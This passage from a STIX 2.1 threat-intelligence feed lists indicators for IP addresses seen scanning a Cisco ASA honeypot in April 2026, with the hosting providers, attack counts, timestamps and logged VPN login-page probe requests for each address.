      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T09:27:04.632Z",
          "last_seen": "2026-04-22T10:14:07.730Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--f6a3258b-4ccb-47ec-bb92-a8d61d1d940f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-11T10:13:50.421Z",
          "last_seen": "2026-04-30T01:23:23.897Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--87081bd3-e2a5-4917-bfdc-c3f4f1ea14b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T09:28:14.882Z",
          "last_seen": "2026-04-29T17:14:20.120Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--58588994-695f-423e-b559-f93f773daeb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-11T10:05:17.145Z",
          "last_seen": "2026-04-11T10:05:17.145Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e7c357fa-3c8a-4ea3-a133-802c2ca6b12a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-11T10:07:18.355Z",
          "last_seen": "2026-04-11T10:07:18.355Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /remote/logincheck HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--7b51d1e4-e0d6-4cae-a0fc-59ed16249437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T10:03:25.642Z",
          "last_seen": "2026-04-11T10:09:07.811Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--715ec7f1-b4fe-43e7-b145-e01c683505e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-11T10:07:21.545Z",
          "last_seen": "2026-04-11T10:07:21.545Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ba68bd61-c302-4f6d-9a05-b3d15aae6286",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-11T10:07:42.874Z",
          "last_seen": "2026-04-11T10:07:42.874Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--507f5d40-3b66-43d7-9db0-e6afcc1a4242",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-11T10:07:16.874Z",
          "last_seen": "2026-04-11T10:07:32.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e7f426f0-3e50-427b-82f0-ab4a35fc765d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-11T10:06:00.381Z",
          "last_seen": "2026-04-11T10:06:00.381Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b4fa23b2-c80a-4231-8936-474ad31abdca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-11T09:54:52.495Z",
          "last_seen": "2026-04-11T09:54:59.877Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--85d8240f-58e7-4605-8b96-747dd2ad26fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T09:49:52.515Z",
          "last_seen": "2026-04-29T13:56:24.185Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5b20ea39-9d49-40e7-8636-793e8f85ccd0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 36,
          "first_seen": "2026-04-11T10:02:23.509Z",
          "last_seen": "2026-04-29T19:57:58.108Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--78ac8dfc-f964-4bb0-b887-70677fae71a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-11T10:19:39.460Z",
          "last_seen": "2026-04-27T10:35:36.525Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--38194ab7-ab73-48b6-b4d6-0fc7292af086",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:20:10.000Z",
      "valid_until": "2026-05-13T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T10:05:32.238Z",
          "last_seen": "2026-04-30T05:08:08.832Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--8d27ab67-8339-4c4c-aa5b-5f7ae3da3388",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T10:50:14.181Z",
          "last_seen": "2026-04-28T04:50:59.416Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--9e25e1da-4a36-4b03-ab5f-95a5cdf2107a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-11T10:36:40.063Z",
          "last_seen": "2026-04-21T00:46:00.824Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--85f6f149-d2ea-4d8e-887a-8c99284ccb65",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T10:53:18.643Z",
          "last_seen": "2026-04-24T10:12:34.824Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--9bab120b-9a4a-458b-8030-b8eef85c4474",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T11:17:40.134Z",
          "last_seen": "2026-04-25T13:35:50.810Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--00326976-5c6f-48c7-9eba-671844f0451c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T10:41:49.231Z",
          "last_seen": "2026-04-25T09:03:23.679Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--32761d03-7016-4dd7-888a-fe5ba76cb0d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-11T11:18:03.339Z",
